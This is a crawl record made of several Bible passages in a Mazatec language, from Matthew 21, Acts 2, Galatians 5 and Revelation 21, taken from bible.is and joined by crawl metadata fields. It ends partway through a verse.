\"Majìn‑na.\" Ta̱nga ko̱ma i̱skan, kisìkítsjeèn; k'e̱é kiì síxá. 30Na̱'èn‑la̱ k'e̱é kiì nga kiìkon ti xi ìjngoò. K'oa̱á ti̱ kitsò‑la̱. Ta̱nga ti jè, kitsò: \"Ndaà tjín na̱'èn, ko̱maá kjián.\" Ta̱nga mìkiì kiì. 31¿Ñá‑la̱á nga ingajò i̱xti xi kisìkitasòn‑la̱ na̱'èn‑la̱? Jñà xi̱ta̱ kitsò: ―Jè xi ítjòn. K'e̱é kitsò‑la̱ Jesús: ―O̱kixi̱í xi xan‑nò, jñà xi̱ta̱ xi síkíchjítjì tsojmì ts'e̱ Roma ko̱ jñà íchjín ská, ìsa̱á ni̱to̱n kjoa̱has'en ñánda nga Nainá tíhotíxoma mì k'oa̱á‑ne koni jñò. 32Nga jè Juan xi kis'iìn bautizar xi̱ta̱ k'oi̱í xá j'iì‑ne nga tsakóya‑la̱ xi̱ta̱ kós'ín si̱ìjchá yijo‑la̱, ta̱nga jñò mìkiì kòkjeiín‑nò. Koa̱ jñà xi síkíchjítjì tsojmì ko̱ jñà íchjín ská kòkjeiín‑la̱. Ta̱nga jñò ndaà na̱s'ín ki'yaà yije kjoa̱ koi, mìkiì kinìkájno jé‑nò ko̱ mìkiì kòkjeiín‑nò. 33'Ti̱ná'yaà ìjngoò‑là kjoa̱ xi mangásòn. Jngoò xi̱ta̱ xi tjín‑la̱ nangui, tsibítje̱ toò uva ko̱ tsibíndiì‑la̱ ínchíbá, i̱kjoàn tsibíndaà jngoò i̱'nde ñánda tsi'ñóngui nandá‑la̱ toò uva. Ti̱koa̱ tsibíndaà jngoò torre ñánda bìtsa̱jna xi̱ta̱ nga síkinda̱ yije kóho̱tjín. I̱kjoàn kisìkìña‑la̱ nangui‑la̱ xi̱ta̱ xi kj'ei̱í nga kisìxásòn. I̱kjoàn kiì nei‑la̱ nangui ñánda i̱'nde kjiìn. 34K'e̱ nga ijchò na̱chrjein‑la̱ nga jye kòjchá toò uva, jè nei‑la̱ nangui kisìkasén xi̱ta̱ chi̱'nda‑la̱ nga kisìjé‑la̱ xi jè oko̱‑la̱ ts'e̱ toò uva xi kòjchá. 35Ta̱nga jñà xi̱ta̱ xi kisìxásòn nangui kitsobà'ñó xi̱ta̱‑la̱ jè nei‑la̱ nangui. Jngoò xi tsi'beé‑la̱ ko̱ jngoò xi kisìk'en koa̱ jè xi ìjngoò nda̱jo̱ tsibínè. 36K'e̱ komà i̱skan jè nei‑la̱ nangui ìsa̱á kjìn xi̱ta̱‑la̱ kisìkasén ta̱nga jñà xi̱ta̱ xi síxásòn nangui ta ngásòn kisìko̱ ngats'iì chi̱'nda xi j'iì. 37'K'e̱ nga jyehet'aà‑ne kisìkasén ki'ndí‑la̱. Kisìkítsjeèn kitsò: \"Skoe̱xkón‑la̱ ki'ndí‑na̱.\" 38Jñà xi̱ta̱ xi síxásòn nangui k'e̱ nga kijtseè jè ki'ndí‑la̱ nei‑la̱ nangui tsajoóya‑ne, kitsò‑la̱ xíkjín: \"Jè jèe̱ xi tjoé kjo̱tjò‑la̱ i̱'nde, si̱k'eén ko̱ tsa̱ján ko̱ma i̱'nde.\" 39Kitsobà'ñó, tsachrjejiìn ya̱ nangui ñánda títje̱ toò uva. I̱kjoàn kisìk'en. 40'Jñò, ¿kó bixón? K'e̱ nga kjoi̱í nei‑la̱ nangui, ¿mé xi si̱ìko̱ jñà xi̱ta̱ xi kisìxásòn nangui‑la̱? 41Jñà xi̱ta̱ xi nchi'nchré kitsò: ―Jngoò k'aá si̱ìk'en jñà xi̱ta̱ ts'e̱n; mìkiì ko̱hi̱ma̱keè. Ko̱ jè nangui‑la̱, kj'ei̱í xi̱ta̱ si̱ìkìña‑la̱ xi koi̱ìchjí kó kji oko̱‑la̱ k'e̱ nga ko̱jchá toò uva. 42Jesús kitsò‑la̱: ―¿A kj'eè bìxke̱jñoò Xo̱jo̱n‑la̱ Nainá nga tsò?: Jè nda̱jo̱ xi tsachrjekàngui chji̱ne̱chrjó nga sa̱ ítjòn, jè‑né xi komà nda̱jo̱ tàts'en chrjó‑la̱ ni'ya. K'oa̱á s'ín kis'iìn Nainá. Jñá, tà maxkón‑ná k'e̱ nga 'yaá kjoa̱ koi. 43K'oi̱í ko̱xan‑nò jñò, tjáxìn‑nò kjoa̱ machikon‑t'in nga jè Nainá tíhotíxoma‑nò. Jñá tjoé‑la̱ xi̱ta̱ xi k'oa̱s'ín síxá koni s'ín ok'ìn‑la̱ xá‑la̱ Nainá. 44Xi i̱t'aà ts'e̱ nda̱jo̱, ni̱ta̱ yá‑ne xi ki̱xo̱sòn nda̱jo̱ jè, ko̱xkoa̱ya‑né; ko̱ tsà jè nda̱jo̱ ska̱nè xi̱ta̱, ko̱chijo‑né. 45Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo, k'e̱ nga kiì'nchré koni s'ín kiìchja̱ Jesús nga tsibéno̱jmí 'én xi mangásòn, k'e̱é kjòchi̱ya‑la̱ nga i̱t'aà ts'e̱‑né koni s'ín kiìchja̱ Jesús. 46Ti̱k'e̱é‑ne mejèn kitsobà'ñó Jesús ta̱nga jñá kitsakjòn‑la̱ xi̱ta̱ na̱xa̱ndá, koi‑né nga k'oa̱á s'ín mokjeiín‑la̱ jñà xi̱ta̱ nga jè Jesús, jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá.\nSan Mateo 21","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/21","date":"2014-03-09T19:08:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010213406\/warc\/CC-MAIN-20140305090333-00072-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1170,"character_repetition_ratio":0.066,"word_repetition_ratio":0.009,"special_characters_ratio":0.236,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijchò ni̱chjin 'tse̱ 'sí Pentecostés, nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo jngoó jtín títsa̱jna nga'tsiòo̱. 2Tà ndi̱to̱ón ina'yá‑la̱, nga 'ñó jane ra ngajmi inchrabà‑ni, koni jngo tjo̱ ra 'ñó tí'ba. Ina'yá‑la̱ kóho'ki ya̱ a̱ya ni'ya ñánda̱ nga títsa̱jna jñà xi̱ta̱ kìi̱. 3Ko̱ tsatsíjen‑la̱ ni̱je̱n ra koni kjòn ni'í kjòn; tsabíya‑la̱ nga jngó jngó xi̱ta̱, ko̱ ya̱á isijnasòn‑la̱. 4Nga'tsì xi̱ta̱, ngi ndaá isijin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, a̱kjòn tsikí'tsia̱ nga kiìchja̱ 'én‑la̱ xi̱ta̱ ra kj'ií na̱xi̱ndá koni 'sín isìchi̱ya‑la̱ jè Inìma̱ Tsje‑la̱ Nainá nga ki̱chja̱. 5Ni̱chjin kìi̱, ya̱á títsa̱jna ya̱ na̱xi̱ndá Jerusalén xi̱ta̱ judío ra bexkón Nainá ra kjìn tjín‑ni na̱xi̱ndá ñánda̱ nga inchrabà‑ni kótíjngo i̱sà'nde. 6Jñà xi̱ta̱ ra ya̱ títsa̱jna ya̱ na̱xi̱ndá Jerusalén, kjóxkóya‑ní nga'tsiòo̱ 'kia̱ nga kií'nchré‑la̱ ra jane. Ko̱ 'kia̱ nga kií'nchré‑la̱ xi̱ta̱‑la̱ Cristo nga ma‑la̱ chja̱ jngó jngó sko̱ya 'én‑la̱ xi̱ta̱ ra ya̱ títsa̱jna, mì kì kjòchi̱ya‑la̱ mé‑ni nga ko̱ kjamà‑ni. 7Tà 'koa̱á kjomà‑la̱, ti̱'koa̱á tà kjóxkón‑la̱, kitsó‑la̱ xákjén: ―¿A mí tsa xi̱ta̱ Galilea nga'tsì xi̱ta̱ ra ko̱'sín i̱nchichja̱? 8¿Kó'sín ma‑ni na'yá‑lá 'én‑ná ra nakjé nga jngó jngó‑ná ra xìn na̱xi̱ndá tsa̱jién? 9Nga'tsì xi̱ta̱ ra i̱ titsa̱jneé, tjín ra xi̱ta̱ Partia, tjín xi̱ta̱ Media, xi̱ta̱ Elam, xi̱ta̱ Mesopotamia, xi̱ta̱ Judea, xi̱ta̱ Capadocia, xi̱ta̱ Ponto, xi̱ta̱ Asia, 10xi̱ta̱ Frigia, xi̱ta̱ Panfilia, xi̱ta̱ Egipto, xi̱ta̱ Libia ra ya̱ chraña'tá‑la̱ Cirene. Ti̱'koa̱ tjín xi̱ta̱ Roma ra i̱ títsa̱jna Jerusalén. Tjín ra ngi xi̱ta̱ judío. Ti̱'koa̱á tjín ra tà jahatjìya‑la̱ nga xi̱ta̱ judío kjomà. 11Ti̱'koa̱á tjín xi̱ta̱ ra nchrabá‑ni Creta ko̱ Arabia. ¡Nga'tsì‑ná kàna'yá‑lá kjo̱xkón 'tse̱ Nainá koni 'sín kàchja̱ nga jngó jngó sko̱ya 'én‑ná! 12Nga'tsì xi̱ta̱ tà isinchaxkón‑la̱, mì ti̱ kì machi̱ya‑ila̱, kitsò‑la̱ xákjén: ―¿Kó'sín tsò‑ni kjoa̱ kìi̱? 13Tjín i'ka ra tà tsijnòke‑ní, kitsò: ―¡Xi̱ta̱ 'chi̱í, jñà xi̱ta̱ kìi̱! 14'Kia̱á tsasijna kixi̱ Pedro ko̱ xi̱ta̱ ra tejngo ma‑ni; 'ñó kiìchja̱jin‑la̱ xi̱ta̱, nga kitsò: ―Jiòn, nga'tsì‑niò ra xi̱ta̱ Judío 'mì‑ná, ko̱ nga'tsì‑niò ra xìn na̱xi̱ndá‑no ra i̱ titsa̱jna Jerusalén, ndaá katasijin‑no, ndaá ti̱ná'ya 'én ra kichjàa̱. 15Mì tsa 'chi̱‑jìn jñà xi̱ta̱ kìi̱ koni 'sín bixó jiòn. ¿Kó'sín ko̱ma‑ni nga ko̱'chi̱? Ki 'sa̱á ijchò las nueve nga ta̱jñò. 16Jñá tíbitjasòn 'én ra kiìchja̱ xi̱ta̱ ra tsi'kìn Joel, ra kiìchja̱ ngajo‑la̱ Nainá kjotseé nga kitsò: 17'Koa̱á 'sín tsò Nainá: 'Kia̱ nga tímachraña nga kje̱he'tà i̱sà'nde, siká'bí‑la̱ Inìma̱ Tsje‑na̱ nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde; jñà i̱xti 'xi̱n‑no ko̱ i̱xti íchjín‑no 'a̱án ki̱chja̱ ngajo‑na; jñà i̱xti‑no ra 'sa̱ inchimajchá, ske̱é kjo̱xkón ra nda tjín a̱'ta 'tse̱ Nainá; ko̱ jñà ra xi̱ta̱ jchínga, nijñá 'ki̱‑la̱. 18Ngi kjo̱hixi̱‑ní, jñà ni̱chjin kìi̱, jñà xi̱ta̱ chi̱'nda‑na̱ jñà ra xi̱ta̱ 'xi̱n ko̱ chi̱'nda‑na̱ ra íchjín siká'bí‑la̱ Inìma̱ Tsje‑na̱ mé‑ni nga ki̱chja̱ ngajo‑na. 19Ján ngajmi kjín kjo̱xkón jcha̱‑la̱, ti̱'koa̱á i̱ a̱'ta nangi jcha̱á‑la̱ kjo̱xkón nga 'ñó xa̱ájten ra jní, ko̱ ra ngi ni'í ko̱ tjó ni̱'ndi̱ tsjè ra ifi kjòn. 20Jè tsá'bí, ko̱jñó‑ní, ko̱ jè sá, koni 'ki jní 'ki ko̱ma, 'kia̱ nga ti̱kjè 'fiì jè Na̱'ín‑ná nga ki̱ìndajín‑la̱ jñà xi̱ta̱ i̱sà'nde, jè ni̱chjin ra 'ñó xkón ko̱ ra 'ñó jeya. 21Tanga nga'tsì xi̱ta̱ ra ki̱chja̱'ta‑la̱ Nainá ki̱tjokajiín jè kjo̱hi'in 'tse̱ jé‑la̱. [Kií tsò 'én‑la̱ Nainá ra kitsjà Joel (2:28‑32).] 22'Ti̱ná'ya ra xi̱ta̱ Israel 'mì‑no 'én ra ko̱xín‑no: Jiòn, nda tjíjin‑no, Nainá nda tsakón nga jè Jesús ra Nazaret 'tse̱, tjín‑la̱ kjo̱téxoma. Xkón kijcha‑no nga ko̱ki'sìn kjo̱xkón ra tse nga'ñó tjín‑la̱, ko̱ nga ko̱ki'sìn kjoa̱ ra bakón kjo̱xkón‑la̱ Nainá. 23Tanga jè Nainá ijyeé ko̱'sín tjínda‑la̱ ko̱ ijye tjíjin‑la̱ skanda ti̱'sa̱‑ni nga kjo'tsia̱ nga kó'sín ko̱ma'tin. 'Koa̱á ma‑ni nga jiòn tsako̱‑no nga indabá'ñó ko̱ ini'ken nga inìnga̱tsja xi̱ta̱ ra mì bexkón kjo̱téxoma nga tsaká'ta krò. 24Tanga jè Nainá isikjaáya‑ila̱; kisíkíjnandi̱í‑ni jè kjo̱hi'in ra tjín 'tse̱ kjo̱biya, tà nga̱tjì‑la̱ nga mì ti̱ kì ko̱ma‑ni nga jè kjoa̱biya jtsa̱ba̱'ñó. 25Jè xi̱ta̱xá ítjòn ra tsi'kìn David, ki̱í'sín kitsò ra a̱'ta 'tse̱ Jesús: Kíjtse‑náa̱ jè Na̱'ín‑ná kó'sín nga tíjna ítjòn ki'ta‑na; 'kia̱ nga ya̱ tíjna'ta‑na ya̱ nga kixi̱‑na̱, mì tsa mé kjoa̱ ra ska̱jiaa̱n. 26'Koa̱á ma‑ni nga matsja‑la̱ jè inìma̱‑na̱, ti̱'koa̱á 'ñó matsja‑la̱ jè ni̱je̱n‑na̱ nga se. Ko̱ jè ijo‑na̱ ndaá si̱ìkjáya nga sko̱óña‑la̱ jè kjoa̱ tsa̱ji, 27tà nga̱tjì‑la̱ nga̱ mì tsa ya̱ si̱kíjni inìma̱‑na̱ ya̱ i̱'nde‑la̱ mi'ken ti̱'koa̱á mì kì ki̱'ndi nga kji̱'ndo ijo‑na̱, 'a̱n ra chi̱'nda tsje‑li ma. 28Ji̱í tsakon‑ná ndi̱yá 'tse̱ kjo̱binachon, ko̱ 'kia̱ nga ya̱ kóti̱jna'ta‑la̱, tseé kjo̱tsja 'se̱‑na. [Kií tsò 'én‑la̱ Nainá ra kitsjà David. (Salmo 16:8‑11)] 29'Jè David, 'koa̱á 'sín kiìchja̱ a̱'ta 'tse̱ Cristo. Ngi 'én kixi̱í ra ko̱xin‑no 'ndsé: xi̱ta̱ jchínga‑ná David, ijyeé kjotseé 'ken, ti̱'koa̱ isìhi'nde‑ní. Jè chrjó mi'ken‑la̱, takó tíjna skanda ni̱chjin 'ndi̱ 'ndi̱. 30Tanga jè David, jngoó xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá. Ijyeé ko̱'sín tjíjin‑la̱ koni 'sín kitsjà‑la̱ tsa'ba Nainá nga ya̱ kji̱nchrabà‑ni a̱'ta 'tse̱ tje̱‑la̱ jè Cristo nga kíjna ngajo‑la̱ koni xi̱ta̱xá ítjòn. 31Jè David, 'koa̱á 'sín kiìchja̱ a̱'ta 'tse̱ Cristo nga kjoa̱áya india‑ila̱ nga kitsó: Mì kì tsa ya̱ si̱jna jè inìma̱‑la̱ ya̱ i̱'nde‑la̱ mi'ken, ti̱'koa̱á mì kì kji̱'ndo jè ijo‑la̱. 32Nainá, ijyeé isikjaáya‑ila̱ jè Jesús. Nga'tsì‑naji̱n, kií ko̱'sín i̱nchi'bèna̱jmí kixi̱‑naji̱n nga xkón kjón kijcha‑naji̱n nga'tsì kjoa̱ ra kjomà. 33Nainá jeya isíkíjna Jesús, isíkíjna'ta ya̱ nga kixi̱‑la̱; itjábé‑la̱ jè Inìma̱ Tsje‑la̱ Nainá koni 'sín ijye tsi'kìn‑la̱. Ko̱ jè Jesús isìka'bísòn india‑ni jè Inìma̱ Tsje‑la̱ Nainá ra ki'tsì‑la̱. Kií ko̱'sín i̱nchi'ya‑najiòn ko̱ i̱nchina'yá‑no. 34Jè David, mì tsa ngajmi kiìmijìn tanga 'koa̱á 'sín kitsò: Jè Nainá kitsó‑la̱ jè ra Ni‑na̱ ma: \"I̱í ti̱jna'tá‑ná ya̱ nga kixi̱‑na̱, 35skanda 'kia̱ nga sikítsa̱jnangia jñà xi̱ta̱ kondra̱‑li ñánda̱ nga i̱jnchasòn jñà ndsa̱kì.\" 36'Ndaá katasijin‑no jiòn ra xi̱ta̱ na̱xi̱ndá Israel 'mì‑no, nga 'ñó kixi̱ tjín kjoa̱ nga jè Jesús ra jiòn tsaka'ta krò, 'koa̱á 'sín isíkíjna Nainá nga jè‑ní ra tíjna ítjòn‑ná, ko̱ ti̱jè‑ni ra Cristo [xi̱ta̱ ra xá isìkasén‑ni Nainá] ―kitsó Pedro. 37'Kia̱ nga kií'nchré 'én ra ko̱tsò jñà xi̱ta̱ ra ya̱ títsa̱jna, isíkájno‑ni ya̱ a̱jin inìma̱‑la̱; 'kia̱á iskonangi‑la̱ Pedro ko̱ xi̱ta̱ xákjín ra i'ka, jñà ra ti̱'koa̱ xá tsikíxáya‑la̱ Jesús. Kitsò‑la̱: ―Jiòn 'ndsé, ¿mé ra 'sia̱n‑ji̱n? 38Jè Pedro kitsó‑la̱: ―Ti̱kájno jé‑no, kì ti̱ tsja jé fatsji‑no. Ta̱ti̱ndá ijo‑no a̱'ta 'tse̱ Jesucristo nga jngó jngó‑no, mé‑ni nga si̱hijcha'ta‑no jé‑no jè Nainá, ti̱'koa̱ tsjá‑no jè Inìma̱ Tsje‑la̱. 39Koni 'sín ijye kitsjà 'én‑la̱ jè Nainá, jè 'én ra tsikíjna, tsa̱jión‑nó; ti̱'koa̱á 'tse̱é i̱xti‑no, ko̱ 'tse̱é nga'tsì xi̱ta̱ ra kjin títsa̱jna, ko̱ nga'tsì xi̱ta̱ ra jè sabá Nainá a̱skan ki̱chja̱‑la̱ ―kitsò Pedro. 40Ko̱ kjín 'én kiìchja̱‑jin-isa‑la̱. 'Ñó kiìchja̱ko̱. Kitsò‑la̱: ―¡Ti̱ncha'tàxìn‑la jè kjo̱hi'in ra tjábé‑la̱ jñà xi̱ta̱ ra 'cho 'sío̱n! 41Jñà xi̱ta̱ ra kjokjiín‑la̱ 'én ra kiìchja̱ Pedro isatíndá‑ní, ma‑la̱ tsa jàn jmi xi̱ta̱ ra 'jaha'sen'ta‑la̱ jè ni̱chjin 'kia̱. 42Kóhotjín xi̱ta̱, ngi kixi̱í kiìko̱ 'én ra kií'nchré koni 'sín tsakón‑ya‑la̱ jñà xi̱ta̱ ra xá tsikíxáya‑la̱ Jesús, ti̱'koa̱á kjóxkóya ki'ta‑ní ko̱ ta̱ñaá tsakjèn‑ko̱ xákjén ko̱ tsikítsa'ba‑la̱ Nainá. 43Nga'tsì xi̱ta̱ ra ya̱ títsa̱jna, ta itsakjón‑ní 'kia̱ nga kijtse nga kjín sko̱ya kjo̱nda ko̱ kjo̱xkón ki'sìn jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús. 44Nga'tsì xi̱ta̱ ra ijye kjokjiín‑la̱ a̱'ta 'tse̱ Cristo ndaá tsikitsa̱jnajtín ko̱ síka'bí‑la̱ xákjín nga'tsì tsajmì ra tjín‑la̱ nga jngó jngó‑ni. 45Jñà nangi‑la̱ ko̱ tsajmì ra tjín‑la̱ tsatína‑ní, a̱kjòn isìjòya‑ni to̱n‑la̱ mé ra chija'ta‑la̱ nga jngó jngó xi̱ta̱. 46Ni̱chjin nchijón‑ní nga maxkóya ya̱ ndi̱tsin i̱ngo̱ ítjòn‑la̱ xi̱ta̱ judío, ko̱ ya̱ ni'ya‑la̱ xákjín nga síjòya ni̱ño̱ nchra̱jín, ko̱ ta̱ñaá bakjèn‑kjo; tjín‑la̱ kjo̱tsja ko̱ kjoa̱ indakjoa̱ ya̱ a̱jin inìma̱‑la̱. 47Kji'tá ni̱chjin jeya síkíjna Nainá; ko̱ jñà xi̱ta̱ na̱xi̱ndá 'ñó tsjake kjomà. Ko̱ jè Na̱'ín‑ná ni̱chjin nchijón kisikjìn‑ya‑isa jñà xi̱ta̱ ya̱ a̱jin na̱xi̱ndá‑la̱ Cristo, jñà xi̱ta̱ ra jè Nainá mejèn‑la̱ nga ki̱tjokajin kjo̱hi'in ra kjoa̱ 'tse̱ jé‑la̱.\nHechos 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/2","date":"2014-03-08T01:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999652570\/warc\/CC-MAIN-20140305060732-00093-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":1203,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21kjoa̱xìtakòn, kjoa̱ch'i̱, ko̱ ngats'iì kjoa̱chrjá'a xi ma ñánda bitjo s'eí. Tjín ìsa̱ kjoa̱ xi kj'ei̱í, xi mangásòn‑ko̱ kjoa̱ koi. Koni s'ín kixan‑nò nga sa̱ ítjòn, tákó k'oa̱á xan‑nò skanda i̱'ndei̱, jñà xi̱ta̱ xi k'oa̱ tjín kjoa̱ xi s'ín, ni̱mé kjo̱ndaà sa̱kò‑la̱ ya̱ ñánda nga tíhotíxoma Nainá.\nGálatas 5:21\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5\/21","date":"2014-03-07T15:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999645422\/warc\/CC-MAIN-20140305060725-00008-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999433756,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 0.9999433755874634}","num_words":51,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"31¿Ñáa̱‑ni ti ra isìhitjasòn, ta ngajòo̱, koni 'sín nga mejèn‑la̱ jè na̱'ìn‑la̱? Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Jè ra isi'tin ítjòn. 'Kia̱á kitsò‑la̱ Jesús: ―'Koa̱á 'sín xin kixi̱‑no, jñà xi̱ta̱ ra síkíchjítjì tsajmì a̱'ta 'tse̱ xi̱ta̱xá Roma ko̱ jñà íchjín ská, jñá jnchro ra isa̱ ndi̱to̱n ki̱jchò koni ra jiòn ya̱ ñánda̱ nga tíbatéxoma jè Nainá.\nSan Mateo 21:31\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/31","date":"2014-03-12T21:23:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394026201240\/warc\/CC-MAIN-20140305133001-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000000238418579}","num_words":61,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngo ngajmi xi̱tse̱ ko̱ jngo nangi xi̱tse̱ kíjtsee̱; jè ngajmi ra tíjna nga ti̱'sa̱ ítjòn ko̱ jè nangi, ijyeé kichija; ko̱ mì ti̱ kì mé ndáchikon kijna‑ni. 2Ko̱ kíjtseé‑te na̱xi̱ndá tsje‑la̱ Nainá ra jè Jerusalén xi̱tse̱, nga tínchrabájen‑ni ngajmi ya̱ ñánda̱ nga tíjna Nainá, jè na̱xi̱ndá ra ijye ko̱'sín tíjnanda koni jngo chjo̱ón ra ki̱xan ra ijye tjínda‑la̱ ijo‑la̱ nga tíkoñá nga ska̱ábé 'xi̱n‑la̱. 3Jngo jta̱ ra ngajmi inchrabà‑ni kí'nchre‑la̱ ra 'ñó kiìchja̱ nga kitsò: ―Chítsijen‑la jè Ni'ya Tsje‑la̱ Nainá, ijyeé ya̱á tíjnajin masen‑la̱ jñà xi̱ta̱. Nga̱ jè Nainá kíjnajin masen‑la̱ jñà xi̱ta̱, nga xi̱ta̱ na̱xi̱ndá‑la̱ ko̱ma. Jè sabá Nainá kíjnako̱ jñà xi̱ta̱ kìi̱ nga Nainá‑la̱ ki̱tso̱‑la̱. 4Jè sabá Nainá si̱ixì‑ni nga'tsì ndáxko̱n xi̱ta̱; ko̱ mì kì ti̱ yá xi̱ta̱ ra ki̱yá‑ni; ko̱ mì kì ti̱ yá ra ski̱ndaya‑ni ndáxko̱n; ko̱ mì kì ti̱ yá ra 'on ko̱ma‑la̱ nga ski̱íjo‑ko̱ ijo‑la̱; nga̱ ijye tsato ra kjoa̱ jchínga. 5Ko̱ jè ra tíjnasòn íxile̱ ñánda̱ nga tíbatéxoma, kitsó‑ní: ―¡Chítsijen! 'A̱n, tísìxítse̱ya ijyeé‑na nga'tsì tsajmì ra tjín. Ko̱ kitsò‑na: ―Xa̱jo̱n ti'tì jñà ra 'a̱n ko̱tíxian‑la; nga̱ jñà 'én kìi̱, ngi 'én kixi̱‑ní ko̱ ngi kixi̱í tjín. 6Ko̱ kitsò-isa‑na: ―Ijyeé itjasòn. 'A̱n‑ná ra tíjna̱ ítjòn‑na skanda kjo'tsia̱ ko̱ 'a̱n‑ná ra tíjna̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin; 'a̱n‑ná ra tsiki'tsiá‑na ko̱ 'a̱n‑ná ra sikjéhe'ta‑na. Jñà ra xándá‑la̱, ta kjo̱tjò tsja‑la̱ nandá ra sk'í, ya̱ i̱'nde ñánda̱ tíbitjo nandá ra tsjá kjo̱binachon. 7Jñà ra si̱ìkijne, jñá ko̱nga̱tsja ijye nga'tsì kjoa̱nda kìi̱; 'a̱án ko̱ma jè Nainá‑la̱ ko̱ jñá ko̱ma i̱xti‑na̱. 8Tanga jñà xi̱ta̱ ra tsakjón, ko̱ jñà ra mì makjiín‑la̱, jñà ra 'ñó 'cho tjín kjoa̱ ra 'sín, ko̱ jñà ra xi̱ta̱ sí'ken, jñà xi̱ta̱ chijngi ko̱ jñà xi̱ta̱ ra 'sín kjoa̱tj'ee̱, jñà xi̱ta̱ ra kj'ií nainá bexkón ko̱ nga'tsì jñà ra xi̱ta̱ ndiso, ya̱á ko̱ko̱‑la̱ ya̱ ñánda̱ nga títì ni'í‑jnga̱ nga ngi ko̱ azufre títì. Jé ra̱kìi̱, kjo̱biya ra bijchó jò‑ni. 9'Ji kasi'ta chraña jngo‑na jñà ìkja̱li̱ ra ito ma‑ni, jñà ra tjíma'ya jñà chi̱tsín ra ito ndi̱yá‑la̱ kjo̱hi'in ra fehe'ta‑ni tjíya, ko̱ tsakáko̱ò‑na nga kitsò‑na: ―Nchrabí ya̱ i̱jndíi̱, mé‑ni nga kokon‑la jè chjo̱ón ra tíjnanda jè ra ki̱xan‑ko̱ jè Forrè. 10'Kia̱ nga jè Inìma̱ Tsje‑la̱ Nainá isikatsíjen jngo‑na kjoa̱, jè ìkja̱li̱ ya̱á ìko̱‑na ñánda̱ síjna jngo nindo ra je 'ki ko̱ 'nga 'ki, ko̱ tsakón‑na jè na̱xi̱ndá ra je 'ki ra na̱xi̱ndá tsje ra 'mì Jerusalén ra ya̱ itjojen‑ni ján ngajmi ra 'tse̱ Nainá inchrabà‑ni. 11Jè na̱xi̱ndá tsje Jerusalén, 'koa̱á 'sín 'ñó fate tsatsíjen koni tsa jngo na̱jo̱ chjí ra 'ñó nda 'ki; ko̱ ngi 'koa̱á 'sín fate koni jè na̱jo̱ ra 'mì jaspe ra ko̱'sín tsijen‑yá‑ni koni tsa chi̱tsín. Kì ko̱'sín fate tsatsíjen‑ni nga jé kjoa̱jeya‑la̱ Nainá ko̱'sín isikatsíjen. 12Jngo chrjó ra 'ñó je ko̱ 'ñó 'nga tjíchjàndi‑ila̱ jè na̱xi̱ndá ra̱kìi̱, ko̱ tejò ma‑ni jñà xo̱tjo̱ba̱‑la̱. Nga jngó jngó xo̱tjo̱ba̱ jngo ìkja̱li̱ síjnajto. Ko̱ ya̱á tjí'ta 'í‑la̱ jñà ra tejò na̱xi̱ndá ra ya̱ inchrabà'ta‑ni i̱xti‑la̱ Israel. 13Ya̱ ñánda̱ tjo‑ni tsá'bí, jàn xo̱tjo̱ba̱ tjín‑la̱. Ko̱ ya̱ ñánda̱ kàtjì‑ni tsá'bí, ti̱'koa̱á jàn xo̱tjo̱ba̱ tjín‑la̱. Ya̱ nga kixi̱‑la̱ ñánda̱ tjo‑ni tsá'bí jàn xo̱tjo̱ba̱ tjín‑la̱, ko̱ ya̱ ngaskoán‑la̱ ñánda̱ nga tjo‑ni tsá'bí ti̱'koa̱ jàn xo̱tjo̱ba̱ tjín‑la̱. 14Jè chrjó ra tjíchjàndi‑ni ya̱ na̱xi̱ndá, tejò chrjó tjà'tsin tjín ya̱ ñánda̱ nga tejò 'í tjí'ta ra 'tse̱ jñà xi̱ta̱ ra tejò ma‑ni ra tsikíxáya‑la̱ jè Forrè. 15Jè 